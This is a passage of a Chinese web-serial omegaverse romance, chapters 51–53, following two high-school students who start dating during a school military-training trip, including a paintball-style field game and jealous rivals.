毕竟他们以后都是要联姻的,他在没有百分百把握隽家会选他之前,他选择不给隽云施压,不给隽云造成任何困扰,只是默默陪伴在他的身边,甚至在隽云和叶馨言的订婚宴上他盛装出席,为他们送上礼物。 这样也做错了? 他知道隽云不会违抗隽家的命令,他们都是棋子,摆脱不了自己的命运,于是他怀揣着一丝侥幸,就算隽云订婚了,但是他不喜欢叶馨言。 他也做好了准备,一辈子就这么陪在他的身边也好,就算他和叶馨言最终真的结婚了,他也能站在他的身边,成为他好友位的伴郎,见证他的婚礼。 他们都身不由己。 直到匙越出现后他才发现,不是这样的。 反正隽云又没有结婚,只是订婚了而已,他是能争的。 匙越都能争,他为什么不能争? 他和匙越相比,他不明白隽云为什么宁愿选择一个社会招考生都不选择他。 他到底差哪了? 匙越笑了:“你喜欢他?但是你没有机会了,我刚才和隽云表白了。” 拍了拍他的肩膀,匙越唇角勾起,通知他: “他答应了。”—— 作者有话说:正巧没人炫耀。 [比心][比心]评论区发大红袍红包。《 》 50-60 第51章 第五十一章 他是他的男朋友。 霎那间陆思华愣在原地, 刚才进房间时他们两人的相处情况他是看到了的,但是他没想到那是匙越已经和他表白后的相处。 而他和隽云先表白的,但是隽云这两天几乎都在躲着他。 陆思华的脸色铁青:“就算你们两情相悦, 你过得了隽家那关吗?” “不劳费心。”匙越颔首。 “还有叶馨言。”陆思华说:“她已经和隽云订婚了,明年一毕业就会结婚, 你以为你能在他身边多久,等隽家发现你的存在,你以为你还能好好待在星耀吗?” 陆思华冷冷道:“你知道高一那个男生是什么下场吗?” “而你, 一没家世二没钱, 你觉得你被隽家发现了的话能全身而退?” 他警告他:“隽家是什么家世你不会不知道,隽云不是你能碰的。” “这确实是一个问题。”匙越沉吟, 不过片刻后他就说:“但是还是那句话,不劳你费心,我会处理好。” 陆思华不明白他明明两袖清风穷的很, 为什么看上去这么有底气? 陆思华上下打量他,和他对峙着:“退一万步来说他能为了你放弃一切,但是你要让他被赶出隽家,跟着你过苦日子?” 匙越沉声:“我会照顾好他,堂堂正正地和隽云在一起, 至于别的, 不用你操心。” 陆思华表情复杂,难掩不甘和苦涩。 不用他操心 他凭什么有信心能让隽云过得好? 就在二人说话的时候,医生推门进来了,发现这里还站着一个alpha,气氛有些凝滞僵持。 她疑惑道:“你是来探望同学的吗?都站着干什么?” 她手里拿着两瓶吊瓶,对匙越说:“你男朋友还发热吗,刚才临时标记你给他做了没有?” 男朋友 陆思华冷着脸, 听到匙越嘴角微微扬起,温温和和地说:“做了。” 陆思华深呼吸,手攥紧了。 医生点头:“那就行,等会儿给他打完了葡萄糖,再给他打一瓶普耐地,晚上再观察一下,没有其他情况睡一觉起来发情期就能过去了。记得这几天避免做剧烈运动。” 匙越说:“好的,谢谢。” 医生看了一下隽云的吊瓶,已经快所剩无几,于是给他换上了一瓶新的吊瓶治疗发情,随后就出去了 等隽云醒来的时候已经是傍晚了,他迷迷糊糊地睁眼,看到外面火烧云似的天空,云很漂亮,卷而舒地铺在天空上,天色稍微暗下来浅红着,晚霞满天。 他心想,现在几点了? 手指动动,很快就摸到了旁边一抹温热,有个人趴在他的旁边睡着了,被他碰了一下很快就醒了,声音带一点沙哑,他抬头,探身过来摸他的额头: “醒了?” 隽云定定地看了他好几秒 匙越怎么在这里? “怎么房间不开灯?” “你在睡觉,我就没开。”匙越说。 “他们呢?”隽云问。 对于隽云醒来后第一句话问的第一个人不是他其实匙越是有一点吃味的,不过他没有表现出来,只是坐在他旁边问他:“谁?” 隽云想了想:“班里的人。” 他们那时候不是在站军姿吗? “已经训练完了,他们下午还去参观了这里的军事训练基地。” “这样啊。”隽云躺在床上,房间没有点灯还是有点黑的,怕焦虑症又要犯,他忍不住往匙越那边小幅度地挪了挪,手指抵在他的手指上。 匙越垂眸,看着他的小动作,没说话。 结果就听到隽云问他:“你怎么在这里?” “”匙越沉默。 这个人发情期前两次都是醒来就忘了发生过什么,完全遵从本心和自我认知地我行我素,想要什么就干什么,想说什么就说什么,然后一觉醒来全忘光。 实在是前科累累。 匙越:“” 他眯了眯眼,危险地说:“你又忘了?” 这回换成隽云沉默了。 匙越:“你不想对我负责?” “?”隽云头脑空白了一瞬,谁对谁负责? alpha还要omega对他负责? 隽云底气不是很足地说:“我我怎么你了?” “你要是真敢说你忘了,我不介意帮你回想一下你对我说了什么,做了什么。” 匙越盯着他说的很慢。 隽云脸上发烫:“我说什么,做什么了?” 匙越桩桩件件数的很清楚:“你晕倒了,我就抱着你来医务室,结果你埋在我的胸口叫我的名字。” “我送你来医务室之后,你拉着我不让我走,还说你也喜欢我,让我亲你,还要我给你做临时标记。” 他说:“你都和我表白了,结果你说一觉醒来全忘了?” 听到最后面:“?” 这怎么还能倒打一耙? 隽云缓缓眨着眼:“不是?你先说的你是我男朋友吗,我什么时候和你表白了?” “” 他怎么会知道谁先说的? 匙越起身,凳子在地上发出刺耳的拖拉声,他却顾不了那么多,猛地抱住了他。 “!!!” 太突然了。 隽云的心跳漏了一拍,床架被他剧烈的动作激得发出响声来,匙越抱他抱的很紧,隽云的手从被子里抬起,胸膛起伏,想把他推开。 颈窝传来的呼吸非常炙热,带着颤抖,似乎非常害怕失去他。 隽云一怔,他缓缓眨眼,手慢慢地放在他的背上,拍了拍。 匙越膝盖抵在床边,压下来的时候避开了针眼的位置,密密实实地抱着他,记忆中他们从没有这么正式地拥抱在一起过。 他的脸埋在隽云的颈窝里,呼吸灼热,高挺的鼻梁抵着他的脖颈,感受到温热皮肤下流淌的血液,这才觉得人间回来了。 他的声音有点哑,闷声说:“这次没忘?” “嗯。”隽云轻轻地嗯了一声。 其实他这回确实没忘,下午的事情大概随着醒来的时候就想起来了。 但是他没有谈过恋爱,医生说的那句“早点做终身标记”反倒让他退缩。 终身标记一旦落下就再难洗去,一生都将捆绑住两个人,像某种契约一样,只会对对方的信息素敏感,对其他人的信息素不会再起任何反应。 终身标记往往是在结婚的伴侣之间发生。 他没理由要求匙越给他终身标记,一来他们现在高中都还没毕业,二来,他们又没有结婚,他还有婚约在身。 醒来后才说不记得了,这样匙越也有往后退一步的空间,给他机会,重新审视他们的关系。 他是有未婚妻的人,他们俩抛去喜欢这一层面,其余差距都太大了,他确定要靠近他吗? 真的要和他在一起吗? 只是他也没想到,匙越对他这么的这么的 隽云脸颊微红,匙越的气息喷洒在他的脖颈上,有点痒,摸着黑,他在匙越的怀里抬头看了一下吊瓶的位置。 眯着眼看到大概还有一半没有输完,刚想问他怎么还在打吊瓶,下午不就快输完了吗? 结果就被某人堵住了嘴。 温温热热的唇贴在他的唇上,缓缓厮磨着,隽云睫毛一颤,他还记得下午的吻太凶了,以为他又想在这张床上乱来。 但是匙越只是贴了一会儿,就放开他了。 匙越的手撑在他的身边,微微起身,看着他,看不够似地。 滚烫的气息扑在他的脸上,黑夜似乎又无所遁形了,不然他怎么会将匙越的眉眼看的怎么清楚,他看到匙越的眼睛带着一丝亮光,笑着看着他。 好像小狗啊 隽云和他对视着,心说。 嘴角微微上扬,隽云滚烫地念出来那个称呼:“男朋友。” “是我。”匙越再次又轻又温柔地凑过来亲亲他:“是我。” 他是他的男朋友 事实上后来又变得混乱了,又轻又温柔的接吻只维持了一会儿又狼意毕现,凶狠地撬开他的齿贝,搅乱他的唇舌,吻到隽云呼吸凌乱手脚发软。 医务室的床并不结实,发出暧昧的“嘎吱嘎吱”连声响。 本来发情期信息素就不太稳定,隽云也难以克制地汲取他的信息素。 亲着亲着,隽云嘴唇红肿,甚至有点疼了,呼吸不顺畅,匙越却还没有要放开他的意思,非常上瘾。 隽云忍不住喘着气心想,到底还要亲多久啊 是他发情了还是匙越发情了? 他刚睡醒没什么力气,只能被堵着嘴搅着唇舌“唔唔唔”地抗拒让他松开,谁知被箍在怀里更紧了,嫣红湿润的舌尖被捉住吸吮,恶意□□。 隽云气吁吁地锤了他一下 要喘不过气了 匙越喉结滚动几下,终于还是松开他,抬手,抹去他嘴角溢出的丝液。 然后在隽云的注视下,他舔了舔指尖。 “”隽云呼吸微滞,忍不住偏过脸,小声地骂了他一句:“变态。” 隽云的声音带着点软糯,虽然是在骂他,但是听的匙越心头火起。 他是变态,但只对他变态。 又要兴奋地亲下来,被隽云挡住了,他的手指潮湿,抵在他的唇上,清瘦的脖颈绷成一条线,整个人完全被他笼罩,但是很执拗地抗拒: “不亲了。” “那好吧。”匙越能屈能伸,一想到他们还有很长的以后,就忍不住摇了摇虚幻的尾巴,然后在他的手指上“啾”了一下。 温热又湿润的触感让隽云猛地收回手,他闭了闭眼,脸上的热意高居不下。 “” 就当被狗舔了。 好半响,他才终于想起来要问什么。 踢了一下被子,示意他从他身上滚下去,下巴扬了扬示意那吊瓶:“怎么还没打完针?” “你在发情期,医生又给你开了新的吊瓶,现在是最后一瓶,打完这个发情期就好了。” “好吧。”隽云说。 就在这时,他的肚子咕咕咕叫了一声。 隽云:“” 匙越闷笑一声,隽云破罐子破摔,他认命又理直气壮地说:“我饿了。” 偏偏匙越还故意问他:“所以呢?” “所以,不给病患吃饭吗?”隽云说。 “你要叫我什么?” “” 这人怎么这么来劲啊,黏黏糊糊的。 隽云就垂着眼睫,在匙越以为他不会再喊的时候,看到他的耳朵红红,声音软了一点,尾音拉长着说: “男朋友,我饿了,我要吃饭——” * 晚饭是匙越去餐厅打来的,匙越看着隽云吃完后,又等了一会儿,输液才输完,然后他提着隽云的外套给他穿上。 室内开着暖气,隽云感觉不到多冷,他打开了匙越的手:“不穿。” “晚上气温太低了,穿上。” 隽云不穿,匙越就展开来衣服,在那里等着他,身高腿长,展着衣服眉眼沉静。 “” 隽云“啧”了一声,觉得他好烦。 怎么就开始管这管那了? 隽云最终还是皱巴着脸穿了,两人走在回酒店房间的路上,晚上风挂起来,偶尔能听到风穿过树枝带来呼呼的风声。 这里属于山区,白天晚上昼夜温差很大,说话的时候甚至还有白气飘散出。 从医务室出来没多久,走了一会儿,匙越的手碰到他的手,隽云低着头,感觉到自己冰凉的手掌逐渐被另一只更炙热的手心包裹,牵住,热度传递过来,心也暖烘烘的。 走着走着,他突然想到:“你今天下午训练了吗?” 匙越牵着他的手晃了晃:“没有。” 隽云耳尖微红,手松松散散地搭在匙越的手心里,他有点怕被别人看到他们这样,于是忍不住左右看了看,路上没人。 他一边回他话:“那不是很可惜吗?” 他其实还蛮喜欢这里的,风景好,空气好,仿佛逃离了家里的牢笼,甚至不用担心可能会被拍到而登上新媒日报,他像是身处在一个桃源,自由自在,想干什么干什么,不被约束。 一切都美好得让他争分夺秒地珍惜。 最重要的是,身边还有,喜欢的人 只不过,因为今天发情期来了睡了一个下午,连带着让匙越也错过了参观军事基地的机会。 匙越的嗓音低沉磁性:“不啊,不可惜啊。” “如果参加了,那今天晚上还能牵手吗?”匙越又晃了晃两只牵在一起的手,勾唇一笑,有点得意的样子: “那才是得不偿失。” 隽云就不说话了。 送他到酒店房间的时候,匙越是看着他进去的,关门的时候,隽云站在他的对面,抬头一眨不眨地看着他,缓缓关上房门。 “明天见。” “等一下。”匙越忍不住手抵住房门,要关上的门被推开了—— 作者有话说:一款狗皮膏药型对象,小卷云又要被蹭蹭了 这腻歪劲捏[饭饭][饭饭][饭饭] 评论区发甜甜糖果小红包 第52章 第五十二章 “喜欢你。” 隽云:“?” 匙越的手掌撑在门上, 另一只手搂过他的腰,把他从门后拽过来,俯身在他的唇上亲了一下: “今晚也会打电话给你。” 温热的唇瓣一触即分但是带来的感觉却挥之不去。 直到门被彻底关上, 隽云走到房间里面,抬手摸了一下自己的脸, 烫的。 好像又发烧了。 * 前一晚带队老师在群里面发了消息说是今天会有野地训练,通俗来说就是游击战。 早上领到迷彩服换好之后,各班集中在一起, 班长们开始点名了。 “柳元誉。” “到。” “隽云。” “到。” 点完名后, 开始分组,一百多个人总共分成两组, 胸口上贴了蓝色的标识,另一组是黄色的。 手上配备了能发射黏糊剂体的红色粘液,有番茄味, 它不仅仅是番茄汁,还添加了其他的化学剂进去,一旦沾在衣服上会留下痕迹,代表这个人中招了。 匙越和隽云分到了一组,都是蓝色队伍。 开始后, 所有人在树林里四处逃窜找掩体, 隽云穿着迷彩服,在一个披着墨绿色假枝叶的小土坡草皮后面躲着,附近都是树,他听到不远处传来射击的声音。 战争已经开始了。 不想那么快被淘汰,隽云靠着小土坡等了一会儿,拿着手臂长的枪,架在土坡上, 准备来一个打一个,他的枪法也还算准。 他戴着黑色的耳朵护具,鼻梁上架着透明的防护镜,一只眼睛眯起,另一只眼睛透过枪支上的测量十字放大镜瞄准朝他这里走过来的人,沉住呼吸,瞄准心脏位置后,快准狠地开了一枪。 枪是完全仿真的,带有后坐力,朝那人胸□□击的时候他的胳膊也被震的一麻。 那人低头看着自己肋骨位置的红色粘液,枪掉在地上,不甘心地倒在地上,表演的非常壮烈。 刚才没打到心脏,隽云瞄准他的心脏,按下板扣,又射了一击,补了一枪。 “嘭!” 彻底把他打“死”了。 就在隽云要松一口气的时候,他突然感觉到脊背一凉,脸微微一侧,一个黑洞洞的枪口对着他。 “” 那人头发是棕色的,皮肤白皙,眼睛也是浅棕色的,此刻不带一丝感情地,冷漠地站在他的旁边,打量他: “隽云,好久不见,游戏结束了。” 他叫他的名字,印象里隽云没有和他说过话,但是此刻看到他胸口上戴着的黄色的铭牌,是对立的一方。 而恰好他们的父母、家族的企业也是对立的。 被人拿枪指着倒是头一回,隽云冷着脸,小巧的下巴紧绷着,他缓缓闭上眼睛。 没想到会死在闵术手里。 但是迟迟没有听到枪响,隽云睫毛抖了抖,疑惑地睁开眼睛。 看过去就看到闵术的脸色很差,他低着头,看向自己的胸口,那里红色的液体顺着胸口往下掉落在地上,像是浓稠的血液。 一枪命中心脏。 闵术被淘汰了。!? 顺着枪声传来的方向看去,他看到一个人正巧收枪。 那人穿着束脚靴子,黑色的皮革靴子踏在地上,靴子上金属链条碰撞而发出轻微的声音,墨色的军装将他整个人收束的宛如一把锐利的剑,整个人都带着肃杀的冷意,他就这么朝着隽云的方向大踏步而来。 没想到训练用的迷彩服穿在他身上到是非常的合适。 只不过 隽云恍惚,这个人为什么身上会带着这么浓重的杀伐气息? 匙越滑下坡,他走到隽云的旁边,头顶的发丝因为风随意凌乱着,眼睛从下睥睨,十分沉地看着闵术: “找死?” 闵术擦了擦身上的“血”,双手垂在身侧,他看着匙越,反而笑了起来,他长相可爱,嘴角两边浮上酒窝,歪了歪头: “你果然很在乎他。” 匙越咬了咬后槽牙,他一把将枪丢在地上,抓住闵术的衣领把他拽过来,几乎把闵述从地上拎起来了,两双眼睛抵的极近,浓浓的胁迫意味: “我劝你,别动他。” 闵术笑起来,笑得非常大声,像是听到了一个什么笑话。 匙越一把将他丢在地上,闵术摔在地上,抓住自己的衣领咳嗽:“咳咳咳咳咳” 他的眼圈都红了,忍不住朝他怒吼道:“你对我妈做了什么?不然她怎么可能愿意让你——” 匙越眉目阴鸷,打断他:“与其来质问我,不如你去问问她,她背着你和你爸,在外面做了什么好事。” “识相的话,滚远点。” 匙越冷笑一声,转身拉起隽云的手。 隽云靠着土坡,被匙越拉起来,然后被拽着离开了这里,闵术看着他们离去,双眼猩红,非常的不甘心,但是无济于事,他已经被淘汰了 隽云跟在匙越后面,心知是因为刚才的枪声已经暴露了位置,不能再在那里待了。 等走出去一会儿,四周都是细密的树林,绕来绕去没有看到人了,隽云才忍不住问: “你为什么和他认识?” 甚至和闵术的妈妈都有牵扯? 匙越停下脚步,凝视着他说:“我现在还不能告诉你。” 到底是什么事情瞒着他?为什么总是不能告诉他? “匙越。”隽云的语气有点严肃:“你是不是和闵家有什么牵扯?” “嗯。” “那你”隽云问:“能解决吗?” 匙越就揉了揉他的头发:“放心吧,我能的。” 匙越不愿意告诉他是什么事情。 这一认知在他脑海中盘旋,隽云面无表情地看着他。 只不过匙越不愿意说,他也不好多问别人的隐私。 隽云想起很早之前在学校天台的时候匙越说为了一个人专门考来星耀中学,他灵光一闪,试探地问了一句: “你该不会喜欢闵术吧?” “?”喜欢谁? 匙越气笑了,他的目光落在他身上,单手圈住他的腰一把他拉过来,俯身在他的唇上亲了一下,气音拂在他的脸上,匙越说: “喜欢你。” 他又压下来亲了一下:“喜欢你。” 温温热热的唇瓣发出“啵”的一声,隽云耳朵尖逐渐红了,脑子开始宕机: “我” 匙越看着他迷茫的眼神,忍不住四处环顾一下,拽着他的手腕把他拉到一个树背后下,让他蹲在草丛里等他一会儿。 不知道他鬼鬼祟祟的要干什么 隽云咬了咬唇瓣,低着头抱着枪,不说话了。 匙越站在他面前,先是仔细看了看周围没人,然后单手把护目镜摘下来了,他蹲下身,温热的手掌带着粗糙的茧子,小心翼翼地捧起隽云的脸。 隽云的脸很小,皮肤白软,护目镜下的眼睛湿漉漉的,匙越呼吸急促了几秒,缓缓地,非常认真地亲了上去。 两个唇瓣相触,互通心意后带来的感受和以前接吻时的感受都不一样,几乎是一碰上去的时候,两个人都忍不住战栗了一下。 匙越温柔地舔过他的唇瓣,隽云半阖着眼,睫毛忍不住地抖,脸颊微红地往后仰。 匙越的手掌捧着他的脸,半身前倾着,专注地啄吻他。 两人接吻时白色的哈气从唇间泄出,沾染上了隽云的护目镜,染上一片氤氲,在这种视线被格挡的时候,唇瓣的触感似乎更鲜明了,他能感觉到匙越进入他唇瓣时的湿润和舔邸,吮着他的唇,捕捉到他的舌尖轻柔勾颤,互相嬉戏。 还好手表已经给别人戴了 在匙越的手指摩挲他的头皮带来酥酥麻麻感受的时候,隽云冷不丁地冒出来这个想法。 不然简直太可怕了 肯定要滴滴滴响个不停 隽云的手放在膝盖上缓缓握紧,最初的僵直羞涩过去后,闭着眼,动静很小地、生硬地勾勾舌尖回应他。 软软的动作让人心头狂跳,匙越按着他的力气大了点,想一口把他吞吃掉。 只是怕吓到他,最终努力克制着,他盯着隽云的脸,享受着隽云难得的意乱情迷和主动,勾着他的舌尖温柔地和他接吻。 大概和喜欢的人接吻真的是一件非常非常享受的事情。 隽云整个人像飘在水里,四周的密林都变成了蓝色的海,而他的心被安全密实地包裹着,整个人都软的不像话,甚至腿软的都要蹲不住了。 又觉得好像飘在云端,整个人轻飘飘的要飞起来了,风筝线的尾端被另一个人牵着。 枪声从很远的地方传过来,而他们躲在这里轻柔地一来一回地接吻,交换唾液,鼻腔口腔里全是另一个人的味道,alpha的信息素味道霸道又强势地与他交融。 好喜欢 他们躲在一株灌木丛后面,匙越戴着护目镜,枪口藏在树叶之中隐匿,时刻保持警惕着扫视四周。 隽云嘴唇还红着,看见他这样,忍不住“噗嗤”一声笑了。 匙越偏过头,他戴着透明的护目镜,倒v字形的弧形护目镜卡在高挺的鼻梁上,压着几缕碎发延伸戴至耳上,一双墨色狭长的眼眸透过护目镜与隽云对视。 唇角微微扬起:“你笑什么?” 隽云:“没什么。” 就是觉得,他太警惕了。 隽云的脸庞雪白,柔软乌黑的头发垂落在额前耳侧,嘴唇是红的,睁着圆圆的眼睛看他,匙越就一只手拿着枪,另一只手在他的头上揉了揉。 “放心吧。”他说:“我保护你。” 刚想说这里好像没什么人,还蛮安全的。隽云就看到一个人鬼鬼祟祟躲在不远处的树下。 那人在匙越的斜后方位置,距离他们有二十多米。 他神色冷静,快准狠地抬起抢,睁着一只眼睛瞄准,“嘭!”的一声,里面的“子弹”射出去。 匙越转身,看到那人被打在胸口的位置,那人猝不及防,他不可置信地低头看着自己身上的“伤口”。 隽云一枪把他打死了。 隽云此刻冷静地移开枪口,对匙越说:“你还是先保护你自己吧。” 匙越笑了笑:“你的枪法怎么这么准?” “小时候上过很多兴趣班,射击训练也上过。”隽云抬脚往前走,非常冷酷帅气:“跟上。” “这么厉害,好崇拜你。” “”隽云好半天说不出话,最终“哼”了一声。 匙越就大步追上他,看着他忍不住手揉了揉他的头发,被隽云打开了:“别老摸我头。” 匙越就往下,指尖碰了碰他耳垂:“好。” 耳垂变热了一点,隽云转过来毫无威慑力地瞪了他一眼。 匙越就忍不住牵住他的手,隽云在前面走,他被他牵着,乖乖跟在后面悠哉悠哉地走。 游击战的过程还算顺利,他们找的都是一些能藏人的角落,没碰到什么人,偶尔守株待兔遇到人也能三下两下解决掉。 “嘭!” 又解决掉一个。匙越收枪。 隽云忍不住偏头问他:“你之前用过枪吗?” 不然枪法怎么会这么准? 匙越沉默了一下,他摇摇头,老实巴交地说:“没用过。” 他说:“可能是因为小时候比较爱玩玩具枪,所以就,枪法比较准。” “原来是这样。”隽云点头,当即不疑有他。 玩了一个上午的游击战,他们俩在树林里躲来躲去。 有的地方“交火”十分严重,战况激烈,他们没必要卷进去,于是他们俩就在树林边缘游走,不参与任何帮派战争,也不和其他人组团拉伙,就只有他们两个人。 偶尔碰到人就补几枪。 大多数时候他们两个人都不参与战争,而是猫着躲在树丛底下,外面的枪声不绝于耳,他们俩坐在大树背后,匙越拿着树叶和狗尾巴草,给他叠小兔子。 差不多快到中午的时间了,隽云拿出手机看了看,每个人被淘汰后都要去大本营那边报道,手机上不断弹出被淘汰的消息以及两方剩余人数显示。 手机上显示他们蓝方只剩下十三个人,而对面黄方也损失惨重,只剩下七八个人在苦苦支撑。 他们进到了决胜圈。 隽云的好胜心上来了,他郑重其事地晃晃他牵着的手,想要松手,示意他放开他: “接下来我们两就分开走,这样比较能够保证胜率。” 毕竟两个人走在一起太显眼了,容易被打死。 匙越牵着他的手却更紧了,晃了晃,晃的幅度比他还大,肩膀耸耸,可怜兮兮道: “不要嘛~”—— 作者有话说:成熟Omega俏Alpha[比心] 评论区发碧螺春小红包 第53章 第五十三章 “宣誓主权。” 隽云:“” 啧。 隽云偏头, 心想,那算了。 * 差不多又苟到了十二点。 黄方还有最后三四个人还没被找到,大概看了一下群消息, 其他两个人不认识,另外两个人认识, 有一个是柳元誉,还有一个是文强。 没想到他们俩能活这么久。 匙越切换消息栏,问文强:你在哪?- 清醒也是一种罪?:干嘛?我先说好, 战场上只论敌人, 不论兄弟!- sy1011:我也觉得。 匙越发消息,一边巡视四周, 他按着语音键说:“主要是太早结束了没意思,我发现一个很好躲藏的地点,你要不要过来?” 随着一声击败的枪响声, 黄队又减损一人。 文强只是露了个头就被匙越秒了。 文强在原地愣了两秒,摸到胸口的“血”,又抬头看看站在遥远地方的两人。 他把枪背在后面,朝收枪的匙越狂奔:“你知道我今天拿了多少人头吗?我今天干了二十几个人!我是枪神!你把枪神终结了!!!” 比起文强的抓狂,隽云还有闲心地看手机, 戳戳点点屏幕, 说:“现在只剩下最后一个人了。” “谁?”匙越和隽云头抵着头,看着隽云的指尖在屏幕上往上翻了翻消息。 柳元誉始终没在群里冒头。 “柳元誉。”隽云:“他还活着,就是不知道去哪了,一直没看到他。” “不急,下一个就是他。” 隽云弯了弯眼睫:“嗯。” 这边在讨论下一个干掉谁,那边文强已经到了近处,他非常愤怒: “匙越, 你太过分了!亏我把你当兄弟!我那么信任你,你居然把我KO了!你把黄队的希望” 就在这时,所有人都听到树林深处传来一声枪响,文强浑身一抖,话都止住了,朝枪声传来的方向看去: “怎么回事?怎么回事?” 很快,群里柳元誉发了个“1”,表示他也被干掉了。 “他被人打了。” 文强抱头哀嚎:“完了,完了,黄队的希望彻底终结了” 黄队最后一个人都被打死了,游戏结束。 在文强的哀嚎声中,匙越问隽云:“饿不饿?” 隽云点头:“饿。” 匙越:“走吧,去吃饭。” “我靠。”文强“靠”了一声,抓狂:“你俩完全无视我是吧?” “听到了。”匙越懒懒地拉长声音,转头对文强说:“中午请你喝饮料,就当补偿你了。” “嗯嗯?”文强顿时眼睛亮了一下:“我要最贵的那瓶。” “行。” “这还差不多,”文强跟上他们,哼哼地挤进隽云和匙越中间,一手搂住一个人的肩膀,问他们: “诶,不过你们俩怎么走在一起啊?” “真是想不到啊,你们现在居然关系这么好了?”他感慨道。 匙越:“” 说着说着,他拍了拍匙越和隽云的肩膀,左右看看:“这也有我的一份功劳吧?” 要不是他一直撮合他俩相处,指不定还要多相看两相厌呢!!! “。”隽云看他一眼,意思很明显。 关他什么事? 文强直接无视,很快他就恍然大悟:“噢~我知道你们为什么走在一起了,你们想搞强强联合是吧!” “不过怎么不带上陆思华啊?噢不对,他是黄方,和我是一队的,不过我也没看到他啊,他怎么不来找我,我俩强强联合也能把你们通通都杀个片甲不留。” 隽云面无表情:“做什么梦。” 匙越唇角一勾,附和隽云:“就是。” 随着黄方最后一个人被追缴完毕,蓝方获得大胜利,不少人在大本营发出欢呼雀跃的呼声。 走出树林的时候他们也看到了柳元誉和方悦礼,他们一前一后地走出来。 方悦礼一身衣服穿的干练,胸口贴着蓝方的标识,黑色的腰带系的很紧,手里拿着枪,走在前面,身后亦步亦趋地跟着黄方的柳元誉。 相比起方悦礼他身上挂了许多彩,衣服都划破了,手上领着一个破了的防护眼镜,经过他们面前的时候隽云听到他说: “我都保护了你一路了,最后也让你把我打死了,你也该消气了吧!” 女生不理他,身板挺直,大步往前走,柳元誉在后面追。 文强见此情况鼓掌,叹为观止:“也是有人把柳圆圆收服了啊。” 等到了大本营的时候,一声娇腻的女声传来:“隽云——” 文强脖子一缩,立马远离了:“兄弟保重。” 叶馨言已经走到了近处,她身上也佩戴着蓝方的标识,娇嗔地说: “你去哪儿了啊?我找你找了一个上午都没找到!” 隽云旁边又传来一个声音:“隽云,喝水吗?” 转头一看,是陆思华,他是黄方的队员,不过被击中腿之后就主动申请放弃,回到大本营等隽云了。 和他们比起来整体来说都还算干净,他拿着一瓶水走过来,还不等隽云说什么,突然手被人一牵。 “?” 隽云低头看去,是旁边的匙越牵住了他的手。 陆思华和叶馨言两人的笑容都僵在脸上。 叶馨言:“嗯?” 陆思华:“” 隽云心跳快了一点,他的手松散地被匙越抓着,扣在手心,幸好左右两边人不多,没有太多人看到。 他手指头动了动,心想,这样影响不太好吧 就在他刚要让他松手的时候,匙越牵着隽云的手晃了晃,拉长声音喊他的名字,比叶馨言还夸张,无视他的意愿,带着不容拒绝的亲昵和强势,宣誓主权似地: “隽云——” “” 隽云耳尖泛红,他垂眼,话拐了个弯,好半响憋出一句话:“怎么了?” “走吧,我们去换衣服。” 不等他回话,隽云被牵着走,准确来说是被拽着手踉踉跄跄走的,不准他和叶馨言陆思华相处。 临走前他看了一眼叶馨言陆思华,叶馨言目瞪口呆,陆思华直直地看着他 匙越牵着隽云走到换衣室,室内开着灯非常亮堂,凳子上、沙发上摆了很多尺码的迷彩服。 现在没什么人过来换衣服,室内空空荡荡。 隽云其实有点生气。 太强势了。 被拽着过来,路上甩开他的手都甩不开。 有没有考虑过他的意愿?这是干什么? 进了换衣室,他停下脚步,手往后回缩不给他牵,语气很重:“放开!” 匙越还是牵着他的手,背对着他没说话,背影看上去既高大又沉默。 隽云即便再迟钝,也知道他在闹什么变扭。 不就是因为他有婚约在身上,没办法给他一个名分吗?在外面甚至要和他装不熟。 他稍微软和了一点语气:“放开。” 匙越松开手,他转过身:“抱歉。” 他先道歉了,然后低着头,发丝扫下来遮挡住他的表情,看着有点柔弱地说: “我刚才太冒失了,毕竟我们才在一起没多久。” 隽云心说确实有一点冒失。 因为他们的关系其实不太方便给太多人知道,尤其是他现在还有婚约的情况下。 但是看着匙越这样,他也不好说让他以后在外人面前和他保持不熟的话了。 毕竟那不就和以前一样了吗?哪里像在谈恋爱? 换个角度来说,他其实也能理解他。 隽云叹了一口气,他抬手,抱住他低垂着的头,让他靠在自己的肩膀上。 隽云拍了拍他的背,忍着羞耻安慰他说:“算了,没事。” 匙越偏过头,他的鼻梁很高,鼻尖抵在了他的颈侧,气息洒在颈窝里有点痒。 就在隽云想推开他的时候,匙越的手圈住了他的腰,把他抱住了。 他整个脑袋都搁在他的肩膀上,声音听起来闷闷:“真的吗?” 隽云低低地“嗯”了一声。 匙越:“那下次还能在别人面前牵你的手吗?” “?”隽云张了张唇:“啊?” 匙越圈着他的腰,隽云看不到他的表情,只是他的语气听起来有点委屈: “那以后是不是都不能和你牵手了?” 他和叶馨言还有婚约,恐怕也不好在太多人面前牵手,隽云犹豫了一下,说: “可以私下牵。” 匙越就退而求其次:“那以后还能在陆思华和叶馨言面前牵你的手吗?” 隽云茫然:“?” 他艰难地说:“应该可以?” 反正刚才都牵了,好像也不差以后再牵几回了。 得到了满意的答复,匙越勾起唇,他偏过头,闻了闻隽云的味道。 隽云的头发很好闻,身上也是,好香。 颈侧的皮肤细腻白皙,他的呼吸热了点,在他白嫩的脖颈上亲了一下。 隽云瑟缩一抖,手摸索到他的头,把他的脑袋抬起来:“好了。” “好了,你换衣服吧。” 匙越说:“好。” 更衣室里摆了一排排铁柜,他们来的还算早,现在还没人过来,匙越找到他的衣柜,把里面的衣服拿出来,丢在沙发上,然后当着隽云的面就开始换衣服了。 “!?” 隽云的视线从他身上落到地上,盯着大理石地板,仿佛要把地板盯出一个洞来。 虽然说,他们现在是在谈恋爱了,但是是不是也要稍微避开点? 耳朵有点热,他张了张口,挤出一句话:“要不我先出去?” “不用,等会儿我们一起出去。”匙越说。 “哦哦。” 于是他强装不在意地找了个椅子坐下,然后低着头看手机,没有抬头看匙越。 等人换衣服,这是他身为一个男朋友应有的自觉。隽云心想。 但是手机只是开了个锁屏,点进班级聊天群之后刷了一下就刷不动了。 这里没信号。 他只能僵硬地坐着,很快,他抬头看了一眼匙越。 军区提供的迷彩制服参照了军服,有好几种制式,隽云挑的一身制服比较轻便,匙越的则比较重甲。 胸前穿着装弹匣的护甲,厚重的护甲从肩膀到腰侧穿过去在后背粘起来。 匙越背对着他,手伸到后面,把它拆除了,丢在椅子上,然后在隽云的视线中,他单手拎着墨绿色的上衣,从头上脱了下来,露出健壮结实宽阔的背肌。!!!? 隽云咽了咽口水。 匙越没有脱裤子,紧接着开始给自己解开缠着的手绑带,绑带是他自己的。 他似乎见匙越戴过。 之前在校门口遇到他骑车的时候,他就是戴着这个黑色的绑带当做指套。 